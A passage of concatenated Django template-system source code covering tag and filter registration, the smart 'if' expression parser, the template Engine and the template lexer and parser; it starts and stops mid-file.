        self.tags[getattr(func, "_decorated_function", func).__name__] = func
        return func

    def filter(self, name=None, filter_func=None, **flags):
        """
        Register a callable as a template filter. Example:

        @register.filter
        def lower(value):
            return value.lower()
        """
        if name is None and filter_func is None:
            # @register.filter()
            def dec(func):
                return self.filter_function(func, **flags)
            return dec
        elif name is not None and filter_func is None:
            if callable(name):
                # @register.filter
                return self.filter_function(name, **flags)
            else:
                # @register.filter('somename') or @register.filter(name='somename')
                def dec(func):
                    return self.filter(name, func, **flags)
                return dec
        elif name is not None and filter_func is not None:
            # register.filter('somename', somefunc)
            self.filters[name] = filter_func
            for attr in ('expects_localtime', 'is_safe', 'needs_autoescape'):
                if attr in flags:
                    value = flags[attr]
                    # set the flag on the filter for FilterExpression.resolve
                    setattr(filter_func, attr, value)
                    # set the flag on the innermost decorated function
                    # for decorators that need it, e.g. stringfilter
                    if hasattr(filter_func, "_decorated_function"):
                        setattr(filter_func._decorated_function, attr, value)
            filter_func._filter_name = name
            return filter_func
        else:
            raise ValueError(
                "Unsupported arguments to Library.filter: (%r, %r)" %
                (name, filter_func),
            )

    def filter_function(self, func, **flags):
        name = getattr(func, "_decorated_function", func).__name__
        return self.filter(name, func, **flags)

    def simple_tag(self, func=None, takes_context=None, name=None):
        """
        Register a callable as a compiled template tag. Example:

        @register.simple_tag
        def hello(*args, **kwargs):
            return 'world'
        """
        def dec(func):
            params, varargs, varkw, defaults = getargspec(func)
            function_name = (name or getattr(func, '_decorated_function', func).__name__)

            @functools.wraps(func)
            def compile_func(parser, token):
                bits = token.split_contents()[1:]
                target_var = None
                if len(bits) >= 2 and bits[-2] == 'as':
                    target_var = bits[-1]
                    bits = bits[:-2]
                args, kwargs = parse_bits(
                    parser, bits, params, varargs, varkw, defaults,
                    takes_context, function_name
                )
                return SimpleNode(func, takes_context, args, kwargs, target_var)
            self.tag(function_name, compile_func)
            return func

        if func is None:
            # @register.simple_tag(...)
            return dec
        elif callable(func):
            # @register.simple_tag
            return dec(func)
        else:
            raise ValueError("Invalid arguments provided to simple_tag")

    def assignment_tag(self, func=None, takes_context=None, name=None):
        warnings.warn(
            "assignment_tag() is deprecated. Use simple_tag() instead",
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        return self.simple_tag(func, takes_context, name)

    def inclusion_tag(self, filename, func=None, takes_context=None, name=None):
        """
        Register a callable as an inclusion tag:

        @register.inclusion_tag('results.html')
        def show_results(poll):
            choices = poll.choice_set.all()
            return {'choices': choices}
        """
        def dec(func):
            params, varargs, varkw, defaults = getargspec(func)
            function_name = (name or getattr(func, '_decorated_function', func).__name__)

            @functools.wraps(func)
            def compile_func(parser, token):
                bits = token.split_contents()[1:]
                args, kwargs = parse_bits(
                    parser, bits, params, varargs, varkw, defaults,
                    takes_context, function_name,
                )
                return InclusionNode(
                    func, takes_context, args, kwargs, filename,
                )
            self.tag(function_name, compile_func)
            return func
        return dec


class TagHelperNode(Node):
    """
    Base class for tag helper nodes such as SimpleNode and InclusionNode.
    Manages the positional and keyword arguments to be passed to the decorated
    function.
    """
    def __init__(self, func, takes_context, args, kwargs):
        self.func = func
        self.takes_context = takes_context
        self.args = args
        self.kwargs = kwargs

    def get_resolved_arguments(self, context):
        resolved_args = [var.resolve(context) for var in self.args]
        if self.takes_context:
            resolved_args = [context] + resolved_args
        resolved_kwargs = {k: v.resolve(context) for k, v in self.kwargs.items()}
        return resolved_args, resolved_kwargs


class SimpleNode(TagHelperNode):

    def __init__(self, func, takes_context, args, kwargs, target_var):
        super(SimpleNode, self).__init__(func, takes_context, args, kwargs)
        self.target_var = target_var

    def render(self, context):
        resolved_args, resolved_kwargs = self.get_resolved_arguments(context)
        output = self.func(*resolved_args, **resolved_kwargs)
        if self.target_var is not None:
            context[self.target_var] = output
            return ''
        if context.autoescape:
            output = conditional_escape(output)
        return output


class InclusionNode(TagHelperNode):

    def __init__(self, func, takes_context, args, kwargs, filename):
        super(InclusionNode, self).__init__(func, takes_context, args, kwargs)
        self.filename = filename

    def render(self, context):
        """
        Render the specified template and context. Cache the template object
        in render_context to avoid reparsing and loading when used in a for
        loop.
        """
        resolved_args, resolved_kwargs = self.get_resolved_arguments(context)
        _dict = self.func(*resolved_args, **resolved_kwargs)

        t = context.render_context.get(self)
        if t is None:
            if isinstance(self.filename, Template):
                t = self.filename
            elif isinstance(getattr(self.filename, 'template', None), Template):
                t = self.filename.template
            elif not isinstance(self.filename, six.string_types) and is_iterable(self.filename):
                t = context.template.engine.select_template(self.filename)
            else:
                t = context.template.engine.get_template(self.filename)
            context.render_context[self] = t
        new_context = context.new(_dict)
        # Copy across the CSRF token, if present, because inclusion tags are
        # often used for forms, and we need instructions for using CSRF
        # protection to be as simple as possible.
        csrf_token = context.get('csrf_token')
        if csrf_token is not None:
            new_context['csrf_token'] = csrf_token
        return t.render(new_context)


def parse_bits(parser, bits, params, varargs, varkw, defaults,
               takes_context, name):
    """
    Parse bits for template tag helpers simple_tag and inclusion_tag, in
    particular by detecting syntax errors and by extracting positional and
    keyword arguments.
    """
    if takes_context:
        if params[0] == 'context':
            params = params[1:]
        else:
            raise TemplateSyntaxError(
                "'%s' is decorated with takes_context=True so it must "
                "have a first argument of 'context'" % name)
    args = []
    kwargs = {}
    unhandled_params = list(params)
    for bit in bits:
        # First we try to extract a potential kwarg from the bit
        kwarg = token_kwargs([bit], parser)
        if kwarg:
            # The kwarg was successfully extracted
            param, value = kwarg.popitem()
            if param not in params and varkw is None:
                # An unexpected keyword argument was supplied
                raise TemplateSyntaxError(
                    "'%s' received unexpected keyword argument '%s'" %
                    (name, param))
            elif param in kwargs:
                # The keyword argument has already been supplied once
                raise TemplateSyntaxError(
                    "'%s' received multiple values for keyword argument '%s'" %
                    (name, param))
            else:
                # All good, record the keyword argument
                kwargs[str(param)] = value
                if param in unhandled_params:
                    # If using the keyword syntax for a positional arg, then
                    # consume it.
                    unhandled_params.remove(param)
        else:
            if kwargs:
                raise TemplateSyntaxError(
                    "'%s' received some positional argument(s) after some "
                    "keyword argument(s)" % name)
            else:
                # Record the positional argument
                args.append(parser.compile_filter(bit))
                try:
                    # Consume from the list of expected positional arguments
                    unhandled_params.pop(0)
                except IndexError:
                    if varargs is None:
                        raise TemplateSyntaxError(
                            "'%s' received too many positional arguments" %
                            name)
    if defaults is not None:
        # Consider the last n params handled, where n is the
        # number of defaults.
        unhandled_params = unhandled_params[:-len(defaults)]
    if unhandled_params:
        # Some positional arguments were not supplied
        raise TemplateSyntaxError(
            "'%s' did not receive value(s) for the argument(s): %s" %
            (name, ", ".join("'%s'" % p for p in unhandled_params)))
    return args, kwargs


def import_library(name):
    """
    Load a Library object from a template tag module.
    """
    try:
        module = import_module(name)
    except ImportError as e:
        raise InvalidTemplateLibrary(
            "Invalid template library specified. ImportError raised when "
            "trying to load '%s': %s" % (name, e)
        )
    try:
        return module.register
    except AttributeError:
        raise InvalidTemplateLibrary(
            "Module  %s does not have a variable named 'register'" % name,
        )






"""
Parser and utilities for the smart 'if' tag
"""
# Using a simple top down parser, as described here:
#    http://effbot.org/zone/simple-top-down-parsing.htm.
# 'led' = left denotation
# 'nud' = null denotation
# 'bp' = binding power (left = lbp, right = rbp)


class TokenBase(object):
    """
    Base class for operators and literals, mainly for debugging and for throwing
    syntax errors.
    """
    id = None  # node/token type name
    value = None  # used by literals
    first = second = None  # used by tree nodes

    def nud(self, parser):
        # Null denotation - called in prefix context
        raise parser.error_class(
            "Not expecting '%s' in this position in if tag." % self.id
        )

    def led(self, left, parser):
        # Left denotation - called in infix context
        raise parser.error_class(
            "Not expecting '%s' as infix operator in if tag." % self.id
        )

    def display(self):
        """
        Returns what to display in error messages for this node
        """
        return self.id

    def __repr__(self):
        out = [str(x) for x in [self.id, self.first, self.second] if x is not None]
        return "(" + " ".join(out) + ")"


def infix(bp, func):
    """
    Creates an infix operator, given a binding power and a function that
    evaluates the node
    """
    class Operator(TokenBase):
        lbp = bp

        def led(self, left, parser):
            self.first = left
            self.second = parser.expression(bp)
            return self

        def eval(self, context):
            try:
                return func(context, self.first, self.second)
            except Exception:
                # Templates shouldn't throw exceptions when rendering.  We are
                # most likely to get exceptions for things like {% if foo in bar
                # %} where 'bar' does not support 'in', so default to False
                return False

    return Operator


def prefix(bp, func):
    """
    Creates a prefix operator, given a binding power and a function that
    evaluates the node.
    """
    class Operator(TokenBase):
        lbp = bp

        def nud(self, parser):
            self.first = parser.expression(bp)
            self.second = None
            return self

        def eval(self, context):
            try:
                return func(context, self.first)
            except Exception:
                return False

    return Operator


# Operator precedence follows Python.
# We defer variable evaluation to the lambda to ensure that terms are
# lazily evaluated using Python's boolean parsing logic.
OPERATORS = {
    'or': infix(6, lambda context, x, y: x.eval(context) or y.eval(context)),
    'and': infix(7, lambda context, x, y: x.eval(context) and y.eval(context)),
    'not': prefix(8, lambda context, x: not x.eval(context)),
    'in': infix(9, lambda context, x, y: x.eval(context) in y.eval(context)),
    'not in': infix(9, lambda context, x, y: x.eval(context) not in y.eval(context)),
    'is': infix(10, lambda context, x, y: x.eval(context) is y.eval(context)),
    'is not': infix(10, lambda context, x, y: x.eval(context) is not y.eval(context)),
    '==': infix(10, lambda context, x, y: x.eval(context) == y.eval(context)),
    '!=': infix(10, lambda context, x, y: x.eval(context) != y.eval(context)),
    '>': infix(10, lambda context, x, y: x.eval(context) > y.eval(context)),
    '>=': infix(10, lambda context, x, y: x.eval(context) >= y.eval(context)),
    '<': infix(10, lambda context, x, y: x.eval(context) < y.eval(context)),
    '<=': infix(10, lambda context, x, y: x.eval(context) <= y.eval(context)),
}

# Assign 'id' to each:
for key, op in OPERATORS.items():
    op.id = key


class Literal(TokenBase):
    """
    A basic self-resolvable object similar to a Django template variable.
    """
    # IfParser uses Literal in create_var, but TemplateIfParser overrides
    # create_var so that a proper implementation that actually resolves
    # variables, filters etc. is used.
    id = "literal"
    lbp = 0

    def __init__(self, value):
        self.value = value

    def display(self):
        return repr(self.value)

    def nud(self, parser):
        return self

    def eval(self, context):
        return self.value

    def __repr__(self):
        return "(%s %r)" % (self.id, self.value)


class EndToken(TokenBase):
    lbp = 0

    def nud(self, parser):
        raise parser.error_class("Unexpected end of expression in if tag.")

EndToken = EndToken()


class IfParser(object):
    error_class = ValueError

    def __init__(self, tokens):
        # Turn 'is','not' and 'not','in' into single tokens.
        l = len(tokens)
        mapped_tokens = []
        i = 0
        while i < l:
            token = tokens[i]
            if token == "is" and i + 1 < l and tokens[i + 1] == "not":
                token = "is not"
                i += 1  # skip 'not'
            elif token == "not" and i + 1 < l and tokens[i + 1] == "in":
                token = "not in"
                i += 1  # skip 'in'
            mapped_tokens.append(self.translate_token(token))
            i += 1

        self.tokens = mapped_tokens
        self.pos = 0
        self.current_token = self.next_token()

    def translate_token(self, token):
        try:
            op = OPERATORS[token]
        except (KeyError, TypeError):
            return self.create_var(token)
        else:
            return op()

    def next_token(self):
        if self.pos >= len(self.tokens):
            return EndToken
        else:
            retval = self.tokens[self.pos]
            self.pos += 1
            return retval

    def parse(self):
        retval = self.expression()
        # Check that we have exhausted all the tokens
        if self.current_token is not EndToken:
            raise self.error_class("Unused '%s' at end of if expression." %
                                   self.current_token.display())
        return retval

    def expression(self, rbp=0):
        t = self.current_token
        self.current_token = self.next_token()
        left = t.nud(self)
        while rbp < self.current_token.lbp:
            t = self.current_token
            self.current_token = self.next_token()
            left = t.led(left, self)
        return left

    def create_var(self, value):
        return Literal(value)






from django.core.exceptions import ImproperlyConfigured
from django.utils import lru_cache, six
from django.utils.functional import cached_property
from django.utils.module_loading import import_string

from .base import Context, Template
from .context import _builtin_context_processors
from .exceptions import TemplateDoesNotExist
from .library import import_library


class Engine(object):
    default_builtins = [
        'django.template.defaulttags',
        'django.template.defaultfilters',
        'django.template.loader_tags',
    ]

    def __init__(self, dirs=None, app_dirs=False, context_processors=None,
                 debug=False, loaders=None, string_if_invalid='',
                 file_charset='utf-8', libraries=None, builtins=None, autoescape=True):
        if dirs is None:
            dirs = []
        if context_processors is None:
            context_processors = []
        if loaders is None:
            loaders = ['django.template.loaders.filesystem.Loader']
            if app_dirs:
                loaders += ['django.template.loaders.app_directories.Loader']
        else:
            if app_dirs:
                raise ImproperlyConfigured(
                    "app_dirs must not be set when loaders is defined.")
        if libraries is None:
            libraries = {}
        if builtins is None:
            builtins = []

        self.dirs = dirs
        self.app_dirs = app_dirs
        self.autoescape = autoescape
        self.context_processors = context_processors
        self.debug = debug
        self.loaders = loaders
        self.string_if_invalid = string_if_invalid
        self.file_charset = file_charset
        self.libraries = libraries
        self.template_libraries = self.get_template_libraries(libraries)
        self.builtins = self.default_builtins + builtins
        self.template_builtins = self.get_template_builtins(self.builtins)

    @staticmethod
    @lru_cache.lru_cache()
    def get_default():
        """
        When only one DjangoTemplates backend is configured, returns it.

        Raises ImproperlyConfigured otherwise.

        This is required for preserving historical APIs that rely on a
        globally available, implicitly configured engine such as:

        >>> from django.template import Context, Template
        >>> template = Template("Hello {{ name }}!")
        >>> context = Context({'name': "world"})
        >>> template.render(context)
        'Hello world!'
        """
        # Since Engine is imported in django.template and since
        # DjangoTemplates is a wrapper around this Engine class,
        # local imports are required to avoid import loops.
        from django.template import engines
        from django.template.backends.django import DjangoTemplates
        django_engines = [engine for engine in engines.all()
                          if isinstance(engine, DjangoTemplates)]
        if len(django_engines) == 1:
            # Unwrap the Engine instance inside DjangoTemplates
            return django_engines[0].engine
        elif len(django_engines) == 0:
            raise ImproperlyConfigured(
                "No DjangoTemplates backend is configured.")
        else:
            raise ImproperlyConfigured(
                "Several DjangoTemplates backends are configured. "
                "You must select one explicitly.")

    @cached_property
    def template_context_processors(self):
        context_processors = _builtin_context_processors
        context_processors += tuple(self.context_processors)
        return tuple(import_string(path) for path in context_processors)

    def get_template_builtins(self, builtins):
        return [import_library(x) for x in builtins]

    def get_template_libraries(self, libraries):
        loaded = {}
        for name, path in libraries.items():
            loaded[name] = import_library(path)
        return loaded

    @cached_property
    def template_loaders(self):
        return self.get_template_loaders(self.loaders)

    def get_template_loaders(self, template_loaders):
        loaders = []
        for template_loader in template_loaders:
            loader = self.find_template_loader(template_loader)
            if loader is not None:
                loaders.append(loader)
        return loaders

    def find_template_loader(self, loader):
        if isinstance(loader, (tuple, list)):
            args = list(loader[1:])
            loader = loader[0]
        else:
            args = []

        if isinstance(loader, six.string_types):
            loader_class = import_string(loader)
            return loader_class(self, *args)
        else:
            raise ImproperlyConfigured(
                "Invalid value in template loaders configuration: %r" % loader)

    def find_template(self, name, dirs=None, skip=None):
        tried = []
        for loader in self.template_loaders:
            if loader.supports_recursion:
                try:
                    template = loader.get_template(
                        name, template_dirs=dirs, skip=skip,
                    )
                    return template, template.origin
                except TemplateDoesNotExist as e:
                    tried.extend(e.tried)
            else:
                # RemovedInDjango20Warning: Use old api for non-recursive
                # loaders.
                try:
                    return loader(name, dirs)
                except TemplateDoesNotExist:
                    pass
        raise TemplateDoesNotExist(name, tried=tried)

    def from_string(self, template_code):
        """
        Returns a compiled Template object for the given template code,
        handling template inheritance recursively.
        """
        return Template(template_code, engine=self)

    def get_template(self, template_name):
        """
        Returns a compiled Template object for the given template name,
        handling template inheritance recursively.
        """
        template, origin = self.find_template(template_name)
        if not hasattr(template, 'render'):
            # template needs to be compiled
            template = Template(template, origin, template_name, engine=self)
        return template

    def render_to_string(self, template_name, context=None):
        """
        Render the template specified by template_name with the given context.
        For use in Django's test suite.
        """
        if isinstance(template_name, (list, tuple)):
            t = self.select_template(template_name)
        else:
            t = self.get_template(template_name)
        # Django < 1.8 accepted a Context in `context` even though that's
        # unintended. Preserve this ability but don't rewrap `context`.
        if isinstance(context, Context):
            return t.render(context)
        else:
            return t.render(Context(context))

    def select_template(self, template_name_list):
        """
        Given a list of template names, returns the first that can be loaded.
        """
        if not template_name_list:
            raise TemplateDoesNotExist("No template names provided")
        not_found = []
        for template_name in template_name_list:
            try:
                return self.get_template(template_name)
            except TemplateDoesNotExist as exc:
                if exc.args[0] not in not_found:
                    not_found.append(exc.args[0])
                continue
        # If we get here, none of the templates could be loaded
        raise TemplateDoesNotExist(', '.join(not_found))






"""
This is the Django template system.

How it works:

The Lexer.tokenize() function converts a template string (i.e., a string containing
markup with custom template tags) to tokens, which can be either plain text
(TOKEN_TEXT), variables (TOKEN_VAR) or block statements (TOKEN_BLOCK).

The Parser() class takes a list of tokens in its constructor, and its parse()
method returns a compiled template -- which is, under the hood, a list of
Node objects.

Each Node is responsible for creating some sort of output -- e.g. simple text
(TextNode), variable values in a given context (VariableNode), results of basic
logic (IfNode), results of looping (ForNode), or anything else. The core Node
types are TextNode, VariableNode, IfNode and ForNode, but plugin modules can
define their own custom node types.

Each Node has a render() method, which takes a Context and returns a string of
the rendered node. For example, the render() method of a Variable Node returns
the variable's value as a string. The render() method of a ForNode returns the
rendered output of whatever was inside the loop, recursively.

The Template class is a convenient wrapper that takes care of template
compilation and rendering.

Usage:

The only thing you should ever use directly in this file is the Template class.
Create a compiled template object with a template_string, then call render()
with a context. In the compilation stage, the TemplateSyntaxError exception
will be raised if the template doesn't have proper syntax.

Sample code:

>>> from django import template
>>> s = '<html>{% if test %}<h1>{{ varvalue }}</h1>{% endif %}</html>'
>>> t = template.Template(s)

(t is now a compiled template, and its render() method can be called multiple
times with multiple contexts)

>>> c = template.Context({'test':True, 'varvalue': 'Hello'})
>>> t.render(c)
'<html><h1>Hello</h1></html>'
>>> c = template.Context({'test':False, 'varvalue': 'Hello'})
>>> t.render(c)
'<html></html>'
"""

from __future__ import unicode_literals

import inspect
import logging
import re
import warnings

from django.template.context import (  # NOQA: imported for backwards compatibility
    BaseContext, Context, ContextPopException, RequestContext,
)
from django.utils import six
from django.utils.deprecation import (
    DeprecationInstanceCheck, RemovedInDjango20Warning,
)
from django.utils.encoding import (
    force_str, force_text, python_2_unicode_compatible,
)
from django.utils.formats import localize
from django.utils.html import conditional_escape, escape
from django.utils.inspect import getargspec
from django.utils.safestring import (
    EscapeData, SafeData, mark_for_escaping, mark_safe,
)
from django.utils.text import (
    get_text_list, smart_split, unescape_string_literal,
)
from django.utils.timezone import template_localtime
from django.utils.translation import pgettext_lazy, ugettext_lazy

from .exceptions import TemplateSyntaxError

TOKEN_TEXT = 0
TOKEN_VAR = 1
TOKEN_BLOCK = 2
TOKEN_COMMENT = 3
TOKEN_MAPPING = {
    TOKEN_TEXT: 'Text',
    TOKEN_VAR: 'Var',
    TOKEN_BLOCK: 'Block',
    TOKEN_COMMENT: 'Comment',
}

# template syntax constants
FILTER_SEPARATOR = '|'
FILTER_ARGUMENT_SEPARATOR = ':'
VARIABLE_ATTRIBUTE_SEPARATOR = '.'
BLOCK_TAG_START = '{%'
BLOCK_TAG_END = '%}'
VARIABLE_TAG_START = '{{'
VARIABLE_TAG_END = '}}'
COMMENT_TAG_START = '{#'
COMMENT_TAG_END = '#}'
TRANSLATOR_COMMENT_MARK = 'Translators'
SINGLE_BRACE_START = '{'
SINGLE_BRACE_END = '}'

# what to report as the origin for templates that come from non-loader sources
# (e.g. strings)
UNKNOWN_SOURCE = '<unknown source>'

# match a variable or block tag and capture the entire tag, including start/end
# delimiters
tag_re = (re.compile('(%s.*?%s|%s.*?%s|%s.*?%s)' %
          (re.escape(BLOCK_TAG_START), re.escape(BLOCK_TAG_END),
           re.escape(VARIABLE_TAG_START), re.escape(VARIABLE_TAG_END),
           re.escape(COMMENT_TAG_START), re.escape(COMMENT_TAG_END))))

logger = logging.getLogger('django.template')


class TemplateEncodingError(Exception):
    pass


@python_2_unicode_compatible
class VariableDoesNotExist(Exception):

    def __init__(self, msg, params=()):
        self.msg = msg
        self.params = params

    def __str__(self):
        return self.msg % tuple(force_text(p, errors='replace') for p in self.params)


class Origin(object):
    def __init__(self, name, template_name=None, loader=None):
        self.name = name
        self.template_name = template_name
        self.loader = loader

    def __str__(self):
        return self.name

    def __eq__(self, other):
        if not isinstance(other, Origin):
            return False

        return (
            self.name == other.name and
            self.loader == other.loader
        )

    def __ne__(self, other):
        return not self.__eq__(other)

    @property
    def loader_name(self):
        if self.loader:
            return '%s.%s' % (
                self.loader.__module__, self.loader.__class__.__name__,
            )


class StringOrigin(six.with_metaclass(DeprecationInstanceCheck, Origin)):
    alternative = 'django.template.Origin'
    deprecation_warning = RemovedInDjango20Warning


class Template(object):
    def __init__(self, template_string, origin=None, name=None, engine=None):
        try:
            template_string = force_text(template_string)
        except UnicodeDecodeError:
            raise TemplateEncodingError("Templates can only be constructed "
                                        "from unicode or UTF-8 strings.")
        # If Template is instantiated directly rather than from an Engine and
        # exactly one Django template engine is configured, use that engine.
        # This is required to preserve backwards-compatibility for direct use
        # e.g. Template('...').render(Context({...}))
        if engine is None:
            from .engine import Engine
            engine = Engine.get_default()
        if origin is None:
            origin = Origin(UNKNOWN_SOURCE)
        self.name = name
        self.origin = origin
        self.engine = engine
        self.source = template_string
        self.nodelist = self.compile_nodelist()

    def __iter__(self):
        for node in self.nodelist:
            for subnode in node:
                yield subnode

    def _render(self, context):
        return self.nodelist.render(context)

    def render(self, context):
        "Display stage -- can be called many times"
        context.render_context.push()
        try:
            if context.template is None:
                with context.bind_template(self):
                    context.template_name = self.name
                    return self._render(context)
            else:
                return self._render(context)
        finally:
            context.render_context.pop()

    def compile_nodelist(self):
        """
        Parse and compile the template source into a nodelist. If debug
        is True and an exception occurs during parsing, the exception is
        is annotated with contextual line information where it occurred in the
        template source.
        """
        if self.engine.debug:
            lexer = DebugLexer(self.source)
        else:
            lexer = Lexer(self.source)

        tokens = lexer.tokenize()
        parser = Parser(
            tokens, self.engine.template_libraries, self.engine.template_builtins,
            self.origin,
        )

        try:
            return parser.parse()
        except Exception as e:
            if self.engine.debug:
                e.template_debug = self.get_exception_info(e, e.token)
            raise

    def get_exception_info(self, exception, token):
        """
        Return a dictionary containing contextual line information of where
        the exception occurred in the template. The following information is
        provided:

        message
            The message of the exception raised.

        source_lines
            The lines before, after, and including the line the exception
            occurred on.

        line
            The line number the exception occurred on.

        before, during, after
            The line the exception occurred on split into three parts:
            1. The content before the token that raised the error.
            2. The token that raised the error.
            3. The content after the token that raised the error.

        total
            The number of lines in source_lines.

        top
            The line number where source_lines starts.

        bottom
            The line number where source_lines ends.

        start
            The start position of the token in the template source.

        end
            The end position of the token in the template source.
        """
        start, end = token.position
        context_lines = 10
        line = 0
        upto = 0
        source_lines = []
        before = during = after = ""
        for num, next in enumerate(linebreak_iter(self.source)):
            if start >= upto and end <= next:
                line = num
                before = escape(self.source[upto:start])
                during = escape(self.source[start:end])
                after = escape(self.source[end:next])
            source_lines.append((num, escape(self.source[upto:next])))
            upto = next
        total = len(source_lines)

        top = max(1, line - context_lines)
        bottom = min(total, line + 1 + context_lines)

        # In some rare cases exc_value.args can be empty or an invalid
        # unicode string.
        try:
            message = force_text(exception.args[0])
        except (IndexError, UnicodeDecodeError):
            message = '(Could not get exception message)'

        return {
            'message': message,
            'source_lines': source_lines[top:bottom],
            'before': before,
            'during': during,
            'after': after,
            'top': top,
            'bottom': bottom,
            'total': total,
            'line': line,
            'name': self.origin.name,
            'start': start,
            'end': end,
        }


def linebreak_iter(template_source):
    yield 0
    p = template_source.find('\n')
    while p >= 0:
        yield p + 1
        p = template_source.find('\n', p + 1)
    yield len(template_source) + 1


class Token(object):
    def __init__(self, token_type, contents, position=None, lineno=None):
        """
        A token representing a string from the template.

        token_type
            One of TOKEN_TEXT, TOKEN_VAR, TOKEN_BLOCK, or TOKEN_COMMENT.

        contents
            The token source string.

        position
            An optional tuple containing the start and end index of the token
            in the template source. This is used for traceback information
            when debug is on.

        lineno
            The line number the token appears on in the template source.
            This is used for traceback information and gettext files.
        """
        self.token_type, self.contents = token_type, contents
        self.lineno = lineno
        self.position = position

    def __str__(self):
        token_name = TOKEN_MAPPING[self.token_type]
        return ('<%s token: "%s...">' %
                (token_name, self.contents[:20].replace('\n', '')))

    def split_contents(self):
        split = []
        bits = iter(smart_split(self.contents))
        for bit in bits:
            # Handle translation-marked template pieces
            if bit.startswith(('_("', "_('")):
                sentinel = bit[2] + ')'
                trans_bit = [bit]
                while not bit.endswith(sentinel):
                    bit = next(bits)
                    trans_bit.append(bit)
                bit = ' '.join(trans_bit)
            split.append(bit)
        return split


class Lexer(object):
    def __init__(self, template_string):
        self.template_string = template_string
        self.verbatim = False

    def tokenize(self):
        """
        Return a list of tokens from a given template_string.
        """
        in_tag = False
        lineno = 1
        result = []
        for bit in tag_re.split(self.template_string):
            if bit:
                result.append(self.create_token(bit, None, lineno, in_tag))
            in_tag = not in_tag
            lineno += bit.count('\n')
        return result

    def create_token(self, token_string, position, lineno, in_tag):
        """
        Convert the given token string into a new Token object and return it.
        If in_tag is True, we are processing something that matched a tag,
        otherwise it should be treated as a literal string.
        """
        if in_tag and token_string.startswith(BLOCK_TAG_START):
            # The [2:-2] ranges below strip off *_TAG_START and *_TAG_END.
            # We could do len(BLOCK_TAG_START) to be more "correct", but we've
            # hard-coded the 2s here for performance. And it's not like
            # the TAG_START values are going to change anytime, anyway.
            block_content = token_string[2:-2].strip()
            if self.verbatim and block_content == self.verbatim:
                self.verbatim = False
        if in_tag and not self.verbatim:
            if token_string.startswith(VARIABLE_TAG_START):
                token = Token(TOKEN_VAR, token_string[2:-2].strip(), position, lineno)
            elif token_string.startswith(BLOCK_TAG_START):
                if block_content[:9] in ('verbatim', 'verbatim '):
                    self.verbatim = 'end%s' % block_content
                token = Token(TOKEN_BLOCK, block_content, position, lineno)
            elif token_string.startswith(COMMENT_TAG_START):
                content = ''
                if token_string.find(TRANSLATOR_COMMENT_MARK):
                    content = token_string[2:-2].strip()
                token = Token(TOKEN_COMMENT, content, position, lineno)
        else:
            token = Token(TOKEN_TEXT, token_string, position, lineno)
        return token


class DebugLexer(Lexer):
    def tokenize(self):
        """
        Split a template string into tokens and annotates each token with its
        start and end position in the source. This is slower than the default
        lexer so we only use it when debug is True.
        """
        lineno = 1
        result = []
        upto = 0
        for match in tag_re.finditer(self.template_string):
            start, end = match.span()
            if start > upto:
                token_string = self.template_string[upto:start]
                result.append(self.create_token(token_string, (upto, start), lineno, in_tag=False))
                lineno += token_string.count('\n')
                upto = start
            token_string = self.template_string[start:end]
            result.append(self.create_token(token_string, (start, end), lineno, in_tag=True))
            lineno += token_string.count('\n')
            upto = end
        last_bit = self.template_string[upto:]
        if last_bit:
            result.append(self.create_token(last_bit, (upto, upto + len(last_bit)), lineno, in_tag=False))
        return result


class Parser(object):
    def __init__(self, tokens, libraries=None, builtins=None, origin=None):
        self.tokens = tokens
        self.tags = {}
        self.filters = {}
        self.command_stack = []

        if libraries is None:
            libraries = {}
        if builtins is None:
            builtins = []

        self.libraries = libraries
        for builtin in builtins:
            self.add_library(builtin)
        self.origin = origin

    def parse(self, parse_until=None):
        """
        Iterate through the parser tokens and compiles each one into a node.

        If parse_until is provided, parsing will stop once one of the
        specified tokens has been reached. This is formatted as a list of
        tokens, e.g. ['elif', 'else', 'endif']. If no matching token is
        reached, raise an exception with the unclosed block tag details.
        """
        if parse_until is None:
            parse_until = []
        nodelist = NodeList()
        while self.tokens:
            token = self.next_token()
            # Use the raw values here for TOKEN_* for a tiny performance boost.
            if token.token_type == 0:  # TOKEN_TEXT
                self.extend_nodelist(nodelist, TextNode(token.contents), token)
            elif token.token_type == 1:  # TOKEN_VAR
                if not token.contents:
                    raise self.error(token, 'Empty variable tag on line %d' % token.lineno)
                try:
                    filter_expression = self.compile_filter(token.contents)
                except TemplateSyntaxError as e:
                    raise self.error(token, e)
                var_node = VariableNode(filter_expression)
                self.extend_nodelist(nodelist, var_node, token)
            elif token.token_type == 2:  # TOKEN_BLOCK
                try:
                    command = token.contents.split()[0]
                except IndexError:
                    raise self.error(token, 'Empty block tag on line %d' % token.lineno)
                if command in parse_until:
                    # A matching token has been reached. Return control to
                    # the caller. Put the token back on the token list so the
                    # caller knows where it terminated.
                    self.prepend_token(token)
                    return nodelist
                # Add the token to the command stack. This is used for error
                # messages if further parsing fails due to an unclosed block
                # tag.
                self.command_stack.append((command, token))
                # Get the tag callback function from the ones registered with
                # the parser.
                try:
                    compile_func = self.tags[command]
                except KeyError:
                    self.invalid_block_tag(token, command, parse_until)
                # Compile the callback into a node object and add it to
                # the node list.
                try:
                    compiled_result = compile_func(self, token)
                except Exception as e:
                    raise self.error(token, e)
                self.extend_nodelist(nodelist, compiled_result, token)
                # Compile success. Remove the token from the command stack.
                self.command_stack.pop()
        if parse_until:
            self.unclosed_block_tag(parse_until)
        return nodelist

    def skip_past(self, endtag):
        while self.tokens:
            token = self.next_token()
            if token.token_type == TOKEN_BLOCK and token.contents == endtag:
                return
        self.unclosed_block_tag([endtag])

    def extend_nodelist(self, nodelist, node, token):
        # Check that non-text nodes don't appear before an extends tag.
        if node.must_be_first and nodelist.contains_nontext:
            raise self.error(
                token, '%r must be the first tag in the template.' % node,
            )
        if isinstance(nodelist, NodeList) and not isinstance(node, TextNode):
            nodelist.contains_nontext = True
        # Set origin and token here since we can't modify the node __init__()
        # method.
        node.token = token
        node.origin = self.origin
        nodelist.append(node)

    def error(self, token, e):
        """
        Return an exception annotated with the originating token. Since the
        parser can be called recursively, check if a token is already set. This
        ensures the innermost token is highlighted if an exception occurs,
        e.g. a compile error within the body of an if statement.
        """
        if not isinstance(e, Exception):
            e = TemplateSyntaxError(e)
        if not hasattr(e, 'token'):
            e.token = token
        return e

    def invalid_block_tag(self, token, command, parse_until=None):
        if parse_until:
            raise self.error(
                token,
                "Invalid block tag on line %d: '%s', expected %s. Did you "
                "forget to register or load this tag?" % (
                    token.lineno,
                    command,
                    get_text_list(["'%s'" % p for p in parse_until], 'or'),
                ),
            )
        raise self.error(
            token,
            "Invalid block tag on line %d: '%s'. Did you forget to register "
